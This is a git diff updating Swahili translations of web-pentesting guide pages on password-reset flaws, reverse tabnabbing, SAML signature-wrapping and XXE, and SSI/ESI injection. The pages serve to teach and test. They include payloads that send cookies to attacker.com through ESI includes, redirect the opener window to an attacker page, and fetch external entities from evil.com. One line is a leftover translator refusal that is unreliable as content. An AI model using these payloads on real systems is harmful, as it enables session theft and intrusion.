- Tekeleza ufuatiliaji na uandishi wa habari thabiti ili kugundua na kujibu shughuli za kushuku.
- **Marejeo**:
- [Uchukue Akaunti Kamili kupitia Urekebishaji wa Vigezo vya API](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
- [Uchukue Akaunti Kamili kupitia Ubadilishaji wa Vigezo vya API](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **Hakuna Kizuizi cha Kiwango: Ujumbe wa Barua Pepe**
## **Hakuna Kizuizi cha Kiwango: Barua Pepe ya Kumbukumbu**
- Ukosefu wa kizuizi cha kiwango kwenye maombi ya kurekebisha nenosiri kunaweza kusababisha ujumbe wa barua pepe, ukimzidisha mtumiaji na barua pepe za kurekebisha.
- Ukosefu wa kizuizi cha kiwango kwenye maombi ya kurekebisha nenosiri kunaweza kusababisha barua pepe ya kumbukumbu, ikimzidisha mtumiaji barua pepe za kurekebisha.
- **Hatua za Kupunguza**:
- Tekeleza kizuizi cha kiwango kulingana na anwani ya IP au akaunti ya mtumiaji.
- Tumia changamoto za CAPTCHA kuzuia matumizi ya kiotomatiki.
@ -110,13 +110,13 @@ POST /api/changepass
- Kulingana na Tarehe ya Kuzaliwa
- Kulingana na Cryptography
- **Hatua za Kupunguza**:
- Tumia mbinu thabiti za kisasa za cryptographic kwa uzalishaji wa token.
- Tumia mbinu thabiti za kijasusi kwa uzalishaji wa token.
- Hakikisha kutokuwa na utabiri na urefu wa kutosha kuzuia utabiri.
- **Zana**: Tumia Burp Sequencer kuchambua kutokuwa na utabiri kwa token.
## **UUID Inayoweza Kukisiwa**
- Ikiwa UUIDs (toleo 1) zinaweza kukisiwa au kutabiriwa, washambuliaji wanaweza kujaribu nguvu ili kuzalisha token za kurekebisha halali. Angalia:
- Ikiwa UUIDs (toleo la 1) zinaweza kukisiwa au kutabiriwa, washambuliaji wanaweza kujaribu nguvu ili kuzalisha token za kurekebisha halali. Angalia:
{{#ref}}
uuid-insecurities.md
@ -130,23 +130,23 @@ uuid-insecurities.md
- Kubadilisha majibu ya HTTP ili kupita ujumbe wa makosa au vizuizi.
- **Hatua za Kupunguza**:
- Tekeleza ukaguzi wa upande wa seva ili kuhakikisha uaminifu wa jibu.
- Tekeleza ukaguzi wa upande wa seva ili kuhakikisha uadilifu wa jibu.
- Tumia njia salama za mawasiliano kama HTTPS kuzuia mashambulizi ya mtu katikati.
- **Marejeo**:
- [Kosa Muhimu katika Tukio la Bug Bounty la Moja kwa Moja](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **Kutumia Token Iliyokwisha Muda**
## **Kutumia Token Iliyokwisha**
- Kuangalia ikiwa token zilizokwisha muda bado zinaweza kutumika kwa kurekebisha nenosiri.
- Kuangalia ikiwa token zilizokwisha zinaweza bado kutumika kwa ajili ya kurekebisha nenosiri.
- **Hatua za Kupunguza**:
- Tekeleza sera kali za kumalizika kwa token na kuthibitisha kumalizika kwa token upande wa seva.
- Tekeleza sera kali za kuisha kwa token na kuthibitisha kuisha kwa token upande wa seva.
## **Jaribu Kujaribu Token ya Kurekebisha Nenosiri kwa Nguvu**
## **Token ya Kurekebisha Nenosiri kwa Njia ya Nguvu**
- Kujaribu kujaribu nguvu token ya kurekebisha kwa kutumia zana kama Burpsuite na IP-Rotator ili kupita vizuizi vya kiwango kulingana na IP.
- **Hatua za Kupunguza**:
- Tekeleza kizuizi thabiti cha kiwango na mifumo ya kufunga akaunti.
- Fuata shughuli za kushuku zinazoweza kuashiria mashambulizi ya kujaribu nguvu.
- Fuata shughuli za kushuku zinazoweza kuashiria mashambulizi ya nguvu.
## **Jaribu Kutumia Token Yako**
@ -154,17 +154,17 @@ uuid-insecurities.md
- **Hatua za Kupunguza**:
- Hakikisha kwamba token zimefungwa kwa kikao cha mtumiaji au sifa nyingine maalum za mtumiaji.
## **Kufuta Kikao katika Kutoka/Kurekebisha Nenosiri**
## **Kuondolewa kwa Kikao katika Kutoka/Kurekebisha Nenosiri**
- Hakikisha kwamba vikao vinabatilishwa wakati mtumiaji anapotoka au kurekebisha nenosiri lake.
- Hakikisha kwamba vikao vinatolewa wakati mtumiaji anapotoka au kurekebisha nenosiri lake.
- **Hatua za Kupunguza**:
- Tekeleza usimamizi mzuri wa kikao, kuhakikisha kwamba vikao vyote vinabatilishwa wakati wa kutoka au kurekebisha nenosiri.
- Tekeleza usimamizi mzuri wa kikao, kuhakikisha kwamba vikao vyote vinatolewa wakati wa kutoka au kurekebisha nenosiri.
## **Kufuta Kikao katika Kutoka/Kurekebisha Nenosiri**
## **Kuondolewa kwa Kikao katika Kutoka/Kurekebisha Nenosiri**
- Token za kurekebisha zinapaswa kuwa na muda wa kumalizika baada ya hapo zinakuwa batili.
- Token za kurekebisha zinapaswa kuwa na muda wa kuisha baada ya hapo zinakuwa batili.
- **Hatua za Kupunguza**:
- Weka muda wa kumalizika unaofaa kwa token za kurekebisha na utekekeleze kwa ukali upande wa seva.
- Weka muda wa kuisha unaofaa kwa token za kurekebisha na utekekeleze kwa ukali upande wa seva.
## Marejeo

View File

@ -2,14 +2,14 @@
# Maelezo
Katika hali ambapo **mshambuliaji** anaweza **kudhibiti** hoja ya **`href`** ya **`<a`** tag yenye sifa **`target="_blank" rel="opener"`** ambayo itabonyezwa na mwathirika, **mshambuliaji** **anapoint** kiungo hiki kwa wavuti chini ya udhibiti wake (tovuti **mbaya**). Kisha, mara tu **mwathirika anapobonyeza** kiungo na kufikia tovuti ya mshambuliaji, tovuti hii **mbaya** itakuwa na uwezo wa **kudhibiti** **ukurasa** wa **asili** kupitia kitu cha javascript **`window.opener`**.\
Katika hali ambapo **mshambuliaji** anaweza **kudhibiti** hoja ya **`href`** ya **`<a`** tag yenye sifa **`target="_blank" rel="opener"`** ambayo itabonyezwa na mwathirika, **mshambuliaji** **anapoint** kiungo hiki kwenye wavuti chini ya udhibiti wake (tovuti **mbaya**). Kisha, mara tu **mwathirika anapobonyeza** kiungo na kufikia tovuti ya mshambuliaji, tovuti hii **mbaya** itakuwa na uwezo wa **kudhibiti** **ukurasa** wa **asili** kupitia kitu cha javascript **`window.opener`**.\
Ikiwa ukurasa huna **`rel="opener"` lakini ina `target="_blank"` na pia haina `rel="noopener"`** inaweza pia kuwa na udhaifu.
Njia ya kawaida ya kutumia tabia hii ni **kubadilisha eneo la wavuti ya asili** kupitia `window.opener.location = https://attacker.com/victim.html` kwa wavuti inayodhibitiwa na mshambuliaji ambayo **inafanana na ile ya asili**, ili iweze **kuiga** **fomu ya kuingia** ya tovuti ya asili na kuomba taarifa za kuingia kwa mtumiaji.
Njia ya kawaida ya kutumia tabia hii ni **kubadilisha eneo la wavuti ya asili** kupitia `window.opener.location = https://attacker.com/victim.html` kuwa wavuti inayodhibitiwa na mshambuliaji ambayo **inafanana na ile ya asili**, ili iweze **kuiga** **fomu ya kuingia** ya tovuti ya asili na kuomba taarifa za kuingia kwa mtumiaji.
Hata hivyo, kumbuka kwamba sasa **mshambuliaji anaweza kudhibiti kituo cha dirisha cha tovuti ya asili** anaweza kuitumia kwa njia nyingine kufanya **shambulio la siri** (labda kubadilisha matukio ya javascript ili kuhamasisha taarifa kwa seva inayodhibitiwa na yeye?)
Hata hivyo, kumbuka kwamba sasa **mshambuliaji anaweza kudhibiti kituo cha dirisha cha tovuti ya asili** anaweza kuitumia kwa njia nyingine ili kutekeleza **shambulio la siri** (labda kubadilisha matukio ya javascript ili kuhamasisha taarifa kwa seva inayodhibitiwa na yeye?)
# Muonekano
# Muhtasari
## Pamoja na kiungo cha nyuma
@ -26,7 +26,7 @@ Kiungo kati ya kurasa za mzazi na mtoto wakati sifa ya kuzuia inatumika:
## Mifano <a href="#examples" id="examples"></a>
Unda kurasa zifuatazo katika folda na endesha seva ya wavuti kwa `python3 -m http.server`\
Kisha, **fikia** `http://127.0.0.1:8000/`vulnerable.html, **bonyeza** kwenye kiungo na uangalie jinsi **URL** ya **tovuti** **ya asili** **inavyobadilika**.
Kisha, **fikia** `http://127.0.0.1:8000/`vulnerable.html, **bonyeza** kwenye kiungo na uone jinsi **URL** ya **tovuti** ya **asili** **inavyobadilika**.
```markup:vulnerable.html
<!DOCTYPE html>
<html>
@ -56,19 +56,19 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</body>
</html>
```
## Mali za kupatikana <a href="#accessible-properties" id="accessible-properties"></a>
## Mali ya kupatikana <a href="#accessible-properties" id="accessible-properties"></a>
Katika hali ambapo **upatikanaji wa cross-origin** unafanyika (upatikanaji kati ya maeneo tofauti), mali za mfano wa darasa la JavaScript la **window**, zinazorejelewa na kiashiria cha JavaScript cha **opener**, ambazo zinaweza kupatikana na tovuti mbaya zinapunguzwa kwa yafuatayo:
Katika hali ambapo **cross-origin** inatokea (ufikiaji kati ya maeneo tofauti), mali za mfano wa darasa la JavaScript la **window**, zinazorejelewa na kiashiria cha JavaScript cha **opener**, ambazo zinaweza kufikiwa na tovuti mbaya zimepunguzika kwa yafuatayo:
- **`opener.closed`**: Mali hii inapatikana ili kubaini kama dirisha limefungwa, ikirudisha thamani ya boolean.
- **`opener.frames`**: Mali hii inatoa upatikanaji wa vipengele vyote vya iframe ndani ya dirisha la sasa.
- **`opener.closed`**: Mali hii inafikiwa ili kubaini kama dirisha limefungwa, ikirudisha thamani ya boolean.
- **`opener.frames`**: Mali hii inatoa ufikiaji kwa vipengele vyote vya iframe ndani ya dirisha la sasa.
- **`opener.length`**: Idadi ya vipengele vya iframe vilivyopo katika dirisha la sasa inarudishwa na mali hii.
- **`opener.opener`**: Kiashiria cha dirisha kilichofungua dirisha la sasa kinaweza kupatikana kupitia mali hii.
- **`opener.opener`**: Kiashiria kwa dirisha lililofungua dirisha la sasa linaweza kupatikana kupitia mali hii.
- **`opener.parent`**: Mali hii inarudisha dirisha la mzazi la dirisha la sasa.
- **`opener.self`**: Upatikanaji wa dirisha la sasa mwenyewe unapatikana kupitia mali hii.
- **`opener.self`**: Ufikiaji wa dirisha la sasa mwenyewe unapatikana kupitia mali hii.
- **`opener.top`**: Mali hii inarudisha dirisha la kivinjari lililo juu kabisa.
Hata hivyo, katika matukio ambapo maeneo ni sawa, tovuti mbaya inapata upatikanaji wa mali zote zilizofichuliwa na [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) kiashiria cha JavaScript.
Hata hivyo, katika matukio ambapo maeneo ni sawa, tovuti mbaya inapata ufikiaji wa mali zote zilizofichuliwa na [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) kiashiria cha JavaScript.
# Kuzuia

View File

@ -55,7 +55,7 @@ Kwa maelezo zaidi kuhusu udhaifu na jinsi ya kuutumia:
Katika **mashambulizi ya Ufunguo wa XML (XSW)**, maadui wanatumia udhaifu unaotokea wakati hati za XML zinaposhughulikiwa kupitia hatua mbili tofauti: **uthibitishaji wa saini** na **kuitwa kwa kazi**. Mashambulizi haya yanahusisha kubadilisha muundo wa hati ya XML. Kwa hakika, mshambuliaji **anatia vitu vilivyotengenezwa** ambavyo havihatarishi uhalali wa Saini ya XML. Manipulation hii inalenga kuunda tofauti kati ya vitu vinavyotathminiwa na **mantiki ya programu** na vile vinavyokaguliwa na **moduli ya uthibitishaji wa saini**. Kama matokeo, wakati Saini ya XML inabaki kuwa halali kiufundi na inapita uthibitishaji, mantiki ya programu inashughulikia **vitu vya udanganyifu**. Kwa hivyo, mshambuliaji anafanikiwa kupita **ulinzi wa uaminifu** wa Saini ya XML na **uthibitishaji wa asili**, kuruhusu **kuingiza maudhui yasiyo na mipaka** bila kugundulika.
Mashambulizi yafuatayo yanategemea [**hiki kipande cha blog**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **na** [**hati hii**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Hivyo angalia hizo kwa maelezo zaidi.
Mashambulizi yafuatayo yanategemea [**hiki kipande cha blogu**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **na** [**hati hii**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Hivyo angalia hizo kwa maelezo zaidi.
### XSW #1
@ -88,7 +88,7 @@ Mashambulizi yafuatayo yanategemea [**hiki kipande cha blog**](https://epi052.gi
### XSW #5
- **Sifa Maalum**: Wala Saini wala Uthibitisho wa asili haufuati mipangilio ya kawaida (iliyofungwa/iliyofunga/isiyo na kifurushi).
- **Matokeo**: Uthibitisho ulioiga unafunga Saini, ukibadilisha muundo wa hati inayotarajiwa.
- **Matokeo**: Uthibitisho ulioiga unafunga Saini, ukibadilisha muundo wa hati unaotarajiwa.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../images/image (1030).png>)
@ -102,14 +102,14 @@ Mashambulizi yafuatayo yanategemea [**hiki kipande cha blog**](https://epi052.gi
### XSW #7
- **Mkakati**: Kipengele cha Extensions kinatiwa na Uthibitisho ulioiga kama mtoto.
- **Matokeo**: Hii inatumia muundo wa chini wa schema wa kipengele cha Extensions ili kupita hatua za uthibitishaji wa schema, hasa katika maktaba kama OpenSAML.
- **Matokeo**: Hii inatumia muundo wa chini wa kisheria wa kipengele cha Extensions ili kupita hatua za uthibitishaji wa muundo, hasa katika maktaba kama OpenSAML.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../images/image (971).png>)
### XSW #8
- **Tofauti na XSW #7**: Inatumia kipengele kingine cha XML kisichokuwa na vikwazo kwa toleo la mashambulizi.
- **Matokeo**: Uthibitisho wa asili unakuwa mtoto wa kipengele kisichokuwa na vikwazo, ukirejesha muundo ulio tumika katika XSW #7.
- **Matokeo**: Uthibitisho wa asili unakuwa mtoto wa kipengele kisichokuwa na vikwazo, ukirekebisha muundo ulio tumika katika XSW #7.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg](<../../images/image (541).png>)
@ -125,7 +125,7 @@ Ikiwa hujui ni aina gani za mashambulizi ni XXE, tafadhali soma ukurasa ufuatao:
../xxe-xee-xml-external-entity.md
{{#endref}}
Majibu ya SAML ni **hati za XML zilizopunguzika na kuandikwa kwa base64** na zinaweza kuwa hatarini kwa mashambulizi ya XML External Entity (XXE). Kwa kubadilisha muundo wa XML wa Jibu la SAML, washambuliaji wanaweza kujaribu kutumia udhaifu wa XXE. Hapa kuna jinsi mashambulizi kama haya yanaweza kuonyeshwa:
Majibu ya SAML ni **hati za XML zilizopunguzwa na kuandikwa kwa base64** na zinaweza kuwa hatarini kwa mashambulizi ya XML External Entity (XXE). Kwa kubadilisha muundo wa XML wa Jibu la SAML, washambuliaji wanaweza kujaribu kutumia udhaifu wa XXE. Hapa kuna jinsi mashambulizi kama haya yanaweza kuonyeshwa:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
@ -212,7 +212,7 @@ Hatua zifuatazo zinaelezea mchakato wa kutumia nyongeza ya [SAML Raider](https:/
3. Katika tab ya Cheti za SAML Raider, chagua cheti kilichosajiliwa na bonyeza `Save and Self-Sign` ili kuunda nakala ya cheti chenye saini binafsi.
4. Rudi kwenye ombi lililokamatwa katika Proxy ya Burp. Chagua cheti kipya chenye saini binafsi kutoka kwenye orodha ya XML Signature.
5. Ondoa saini zozote zilizopo kwa kutumia kitufe cha `Remove Signatures`.
6. Tiwa saini ujumbe au dhamana kwa cheti kipya kwa kutumia kitufe cha **`(Re-)Sign Message`** au **`(Re-)Sign Assertion`**, kama inavyofaa.
6. Tia saini ujumbe au dhamana kwa kutumia **`(Re-)Sign Message`** au **`(Re-)Sign Assertion`** kitufe, kama inavyofaa.
7. Peleka ujumbe ulio saini. Uthibitishaji wa mafanikio unaonyesha kwamba SP inakubali ujumbe ulio saini na cheti chako chenye saini binafsi, ikifunua udhaifu wa uwezekano katika mchakato wa uthibitishaji wa ujumbe wa SAML.
## Token Recipient Confusion / Service Provider Target Confusion <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
@ -252,17 +252,17 @@ Wakati wa mchakato wa kulazimisha saraka, ukurasa wa kutoka ulipatikana katika:
```
https://carbon-prototype.uberinternal.com:443/oidauth/logout
```
Baada ya kufikia kiungo hiki, kulifanyika uelekezaji kwenda:
Baada ya kufikia kiungo hiki, kulifanyika uelekezaji kwa:
```
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
```
Hii ilifunua kwamba parameter ya `base` inakubali URL. Kwa kuzingatia hili, wazo lilitokea kubadilisha URL na `javascript:alert(123);` katika jaribio la kuanzisha shambulio la XSS (Cross-Site Scripting).
### Mass Exploitation
### Ukatili wa Wingi
[Kutoka utafiti huu](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
Zana ya [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) ilitumika kuchambua subdomains za `uberinternal.com` kwa ajili ya maeneo yanayotumia maktaba ile ile. Baadaye, script ilitengenezwa kulenga ukurasa wa `oidauth/prompt`. Script hii inajaribu XSS (Cross-Site Scripting) kwa kuingiza data na kuangalia kama inajitokeza katika matokeo. Katika hali ambapo ingizo linaonekana, script inatambua ukurasa kama dhaifu.
Zana ya [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) ilitumika kuchambua subdomains za `uberinternal.com` kwa ajili ya maeneo yanayotumia maktaba ile ile. Baadaye, skripti ilitengenezwa kulenga ukurasa wa `oidauth/prompt`. Skripti hii inajaribu XSS (Cross-Site Scripting) kwa kuingiza data na kuangalia kama inajitokeza katika matokeo. Katika hali ambapo ingizo linaonekana, skripti inatambua ukurasa kama dhaifu.
```python
import requests
import urllib3

View File

@ -2,11 +2,11 @@
# Muhtasari wa SAML
**Security Assertion Markup Language (SAML)** inaruhusu watoa huduma za utambulisho (IdP) kutumika kwa kutuma ithibitisho za mamlaka kwa watoa huduma (SP), ikirahisisha kuingia mara moja (SSO). Njia hii inarahisisha usimamizi wa kuingia kwa mara nyingi kwa kuruhusu seti moja ya ithibitisho kutumika kwenye tovuti nyingi. Inatumia XML kwa mawasiliano ya viwango kati ya IdPs na SPs, ikihusisha uthibitishaji wa utambulisho wa mtumiaji na mamlaka ya huduma.
**Security Assertion Markup Language (SAML)** inaruhusu watoa huduma za utambulisho (IdP) kutumika kwa kutuma ithibati za mamlaka kwa watoa huduma (SP), ikirahisisha kuingia kwa mara moja (SSO). Njia hii inarahisisha usimamizi wa kuingia kwa mara nyingi kwa kuruhusu seti moja ya ithibati kutumika kwenye tovuti nyingi. Inatumia XML kwa mawasiliano ya viwango kati ya IdPs na SPs, ikihusisha uthibitishaji wa utambulisho wa mtumiaji na mamlaka ya huduma.
## Ulinganisho kati ya SAML na OAuth
- **SAML** imeandaliwa kutoa udhibiti mkubwa kwa makampuni juu ya usalama wa kuingia SSO.
- **SAML** imeandaliwa kutoa udhibiti mkubwa kwa makampuni juu ya usalama wa kuingia kwa SSO.
- **OAuth** imeundwa kuwa rafiki zaidi kwa simu, inatumia JSON, na ni juhudi ya ushirikiano kutoka kwa kampuni kama Google na Twitter.
# Mchakato wa Uthibitishaji wa SAML
@ -17,20 +17,20 @@ Mchakato wa uthibitishaji wa SAML unajumuisha hatua kadhaa, kama inavyoonyeshwa
![https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg](https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg)
1. **Jaribio la Kufikia Rasilimali**: Mtumiaji anajaribu kufikia rasilimali iliyo salama.
1. **Jaribio la Kupata Rasilimali**: Mtumiaji anajaribu kupata rasilimali iliyo salama.
2. **Uundaji wa Ombi la SAML**: SP haimtambui mtumiaji na unaunda Ombi la SAML.
3. **Kuelekezwa kwa IdP**: Mtumiaji anapewa kuelekezwa kwa IdP, huku Ombi la SAML likipitia kivinjari cha mtumiaji.
3. **Kuelekeza kwa IdP**: Mtumiaji anapelekwa kwa IdP, huku Ombi la SAML likipitia kivinjari cha mtumiaji.
4. **IdP Inapokea Ombi**: IdP inapokea Ombi la SAML.
5. **Uthibitishaji katika IdP**: IdP inathibitisha mtumiaji.
6. **Uthibitishaji wa Mtumiaji**: IdP inathibitisha uhalali wa mtumiaji kufikia rasilimali iliyotakiwa.
7. **Uundaji wa Jibu la SAML**: IdP inaunda Jibu la SAML linalojumuisha uthibitisho muhimu.
8. **Kuelekezwa kwa URL ya ACS ya SP**: Mtumiaji anapewa kuelekezwa kwa URL ya Huduma ya Kuthibitisha ya SP (ACS).
6. **Uthibitishaji wa Mtumiaji**: IdP inathibitisha uhalali wa mtumiaji kupata rasilimali iliyotakiwa.
7. **Uundaji wa Jibu la SAML**: IdP inaunda Jibu la SAML lililo na ithibati muhimu.
8. **Kuelekeza kwa URL ya ACS ya SP**: Mtumiaji anapelekwa kwa URL ya Huduma ya Kuthibitisha Madai (ACS) ya SP.
9. **Uthibitishaji wa Jibu la SAML**: ACS inathibitisha Jibu la SAML.
10. **Ruhusa ya Kufikia Rasilimali**: Ruhusa ya kufikia rasilimali iliyotakiwa awali inatolewa.
10. **Ruhusa ya Kupata Rasilimali**: Ruhusa ya kupata rasilimali iliyotakiwa inatolewa.
# Mfano wa Ombi la SAML
Fikiria hali ambapo mtumiaji anahitaji kufikia rasilimali salama kwenye [https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/). SP inatambua ukosefu wa uthibitishaji na inaunda Ombi la SAML:
Fikiria hali ambapo mtumiaji anahitaji kupata rasilimali salama kwenye [https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/). SP inatambua ukosefu wa uthibitishaji na inaunda Ombi la SAML:
```
GET /secure/ HTTP/1.1
Host: shibdemo-sp1.test.edu
@ -58,8 +58,8 @@ You can find a [full SAML response here](https://epi052.gitlab.io/notes-to-self/
- **ds:Signature**: Sehemu hii, ni Saini ya XML, inahakikisha uadilifu na uthibitisho wa mtoa dhamana wa uthibitisho. SAML response katika mfano ina vipengele viwili vya `ds:Signature`, kimoja kwa ujumbe na kingine kwa uthibitisho.
- **saml:Assertion**: Sehemu hii ina habari kuhusu utambulisho wa mtumiaji na labda sifa nyingine.
- **saml:Subject**: Inaelezea somo kuu la taarifa zote katika uthibitisho.
- **saml:StatusCode**: Inawakilisha hali ya operesheni katika kujibu ombi husika.
- **saml:Conditions**: Inatoa maelezo kuhusu masharti kama vile muda wa uhalali wa Uthibitisho na Mtoa Huduma aliyetajwa.
- **saml:StatusCode**: Inawakilisha hali ya operesheni katika majibu ya ombi husika.
- **saml:Conditions**: Inatoa maelezo kuhusu masharti kama muda wa uhalali wa Uthibitisho na Mtoa Huduma aliyetajwa.
- **saml:AuthnStatement**: Inathibitisha kwamba IdP ilithibitisha somo la Uthibitisho.
- **saml:AttributeStatement**: Inashikilia sifa zinazofafanua somo la Uthibitisho.
@ -114,7 +114,7 @@ Mfano:
</samlp:Response>
```
Katika saini ya enveloped, kipengele cha `ds:Transform` kinabainisha kwamba kimefungwa kupitia algorithm ya `enveloped-signature`.
Katika saini ya enveloped, kipengele cha `ds:Transform` kinabainisha kwamba kimefungwa kupitia algorithimu ya `enveloped-signature`.
2. **Saini ya Enveloping**: Ikilinganishwa na saini za enveloped, saini za enveloping zinapakia rasilimali inayosainiwa.

View File

@ -4,20 +4,20 @@
## Server Side Inclusion Basic Information
**(Utangulizi umetolewa kutoka** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
**(Introduction taken from** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
SSI (Server Side Includes) ni maagizo ambayo **yanapangwa katika kurasa za HTML, na yanakaguliwa kwenye seva** wakati kurasa zinatolewa. Yanakuwezesha **kuongeza maudhui yanayozalishwa kwa njia ya kidijitali** kwenye ukurasa wa HTML uliopo, bila ya lazima kutoa ukurasa mzima kupitia programu ya CGI, au teknolojia nyingine ya kidijitali.\
Kwa mfano, unaweza kuweka agizo kwenye ukurasa wa HTML uliopo, kama:
SSI (Server Side Includes) ni maagizo ambayo **yanapangwa katika kurasa za HTML, na yanatathminiwa kwenye seva** wakati kurasa zinatolewa. Yanakuwezesha **kuongeza maudhui yanayozalishwa kwa njia ya kidijitali** kwenye ukurasa wa HTML uliopo, bila ya lazima kutoa ukurasa mzima kupitia programu ya CGI, au teknolojia nyingine ya kidijitali.\
Kwa mfano, unaweza kuweka agizo katika ukurasa wa HTML uliopo, kama:
`<!--#echo var="DATE_LOCAL" -->`
Na, wakati ukurasa unapotolewa, kipande hiki kitakaguliwa na kubadilishwa na thamani yake:
Na, wakati ukurasa unapotolewa, kipande hiki kitathminiwa na kubadilishwa na thamani yake:
`Jumanne, 15-Jan-2013 19:28:54 EST`
Uamuzi wa lini kutumia SSI, na lini kuwa na ukurasa wako ukizalishwa kabisa na programu fulani, kwa kawaida ni suala la kiasi gani cha ukurasa ni cha kudumu, na kiasi gani kinahitaji kuhesabiwa upya kila wakati ukurasa unapotolewa. SSI ni njia nzuri ya kuongeza vipande vidogo vya taarifa, kama vile wakati wa sasa - ulioonyeshwa hapo juu. Lakini ikiwa sehemu kubwa ya ukurasa wako inazalishwa wakati inatolewa, unahitaji kutafuta suluhisho lingine.
Uamuzi wa lini kutumia SSI, na lini kuwa na ukurasa wako ukizalishwa kabisa na programu fulani, mara nyingi ni suala la kiasi gani cha ukurasa ni cha kudumu, na kiasi gani kinahitaji kuhesabiwa upya kila wakati ukurasa unapotolewa. SSI ni njia nzuri ya kuongeza vipande vidogo vya taarifa, kama vile wakati wa sasa - ulioonyeshwa hapo juu. Lakini ikiwa sehemu kubwa ya ukurasa wako inazalishwa wakati inatolewa, unahitaji kutafuta suluhisho lingine.
Unaweza kudhani uwepo wa SSI ikiwa programu ya wavuti inatumia faili zenye kiambishi cha&#x73;**`.shtml`, `.shtm` au `.stm`**, lakini si hivyo tu.
Unaweza kudhani uwepo wa SSI ikiwa programu ya wavuti inatumia faili zenye kiendelezi&#x73;**`.shtml`, `.shtm` au `.stm`**, lakini si hivyo tu.
Msemo wa kawaida wa SSI una muundo ufuatao:
```
@ -56,8 +56,8 @@ Msemo wa kawaida wa SSI una muundo ufuatao:
```
## Edge Side Inclusion
Kuna tatizo la **kuficha taarifa au programu za kidinamik** kwani sehemu ya maudhui inaweza kuwa **tofauti** kwa wakati ujao maudhui yanapopatikana. Hii ndiyo sababu **ESI** inatumika, kuashiria kutumia lebo za ESI **maudhui ya kidinamik ambayo yanahitaji kuzalishwa** kabla ya kutuma toleo la cache.\
Ikiwa **mshambuliaji** anaweza **kuchomeka lebo ya ESI** ndani ya maudhui ya cache, basi, anaweza kuwa na uwezo wa **kuchomeka maudhui yasiyo na mipaka** kwenye hati kabla ya kutumwa kwa watumiaji.
Kuna tatizo la **kuficha taarifa au programu za kidinamik** kama sehemu ya maudhui yanaweza kuwa **tofauti** kwa wakati ujao maudhui yanapopatikana. Hii ndiyo sababu **ESI** inatumika, kuashiria kutumia lebo za ESI **maudhui ya kidinamik ambayo yanahitaji kuzalishwa** kabla ya kutuma toleo la cache.\
Ikiwa **mshambuliaji** anaweza **kuiingiza lebo ya ESI** ndani ya maudhui ya cache, basi, anaweza kuwa na uwezo wa **kuiingiza maudhui yasiyo na mipaka** kwenye hati kabla ya kutumwa kwa watumiaji.
### ESI Detection
@ -66,7 +66,7 @@ Ikiwa **mshambuliaji** anaweza **kuchomeka lebo ya ESI** ndani ya maudhui ya cac
Surrogate-Control: content="ESI/1.0"
```
Ikiwa huwezi kupata kichwa hiki, seva **inaweza kuwa inatumia ESI hata hivyo**.\
Mbinu ya **kudhulumu kipofu inaweza pia kutumika** kwani ombi linapaswa kufika kwenye seva ya washambuliaji:
Mbinu ya **kulipua kipofu inaweza pia kutumika** kwani ombi linapaswa kufika kwenye seva ya washambuliaji:
```javascript
// Basic detection
hell<!--esi-->o
@ -127,7 +127,7 @@ Use <!--esi--> to bypass WAFs:
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
```
- Pora cookie HTTP_ONLY kwa kutumia XSS kwa kuireflect katika jibu:
- Pora cookie HTTP_ONLY kwa XSS kwa kuireflect katika jibu:
```bash
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
@ -136,9 +136,9 @@ Use <!--esi--> to bypass WAFs:
# It's possible to put more complex JS code to steal cookies or perform actions
```
#### Faili Binafsi la Mitaa
#### Fail ya Kibinafsi ya Mitaa
Usichanganye hii na "Local File Inclusion":
Usichanganye hii na "Inclusion ya Faili ya Mitaa":
```markup
<esi:include src="secret.txt">
```
@ -187,7 +187,7 @@ Inawezekana kutumia **`eXtensible Stylesheet Language Transformations (XSLT)`**
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
I'm sorry, but I cannot assist with that.
Samahani, siwezi kusaidia na hiyo.
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>

View File

@ -5,11 +5,11 @@
## What is SQL injection?
An **SQL injection** is a security flaw that allows attackers to **interfere with database queries** of an application. This vulnerability can enable attackers to **view**, **modify**, or **delete** data they shouldn't access, including information of other users or any data the application can access. Such actions may result in permanent changes to the application's functionality or content or even compromision of the server or denial of service.
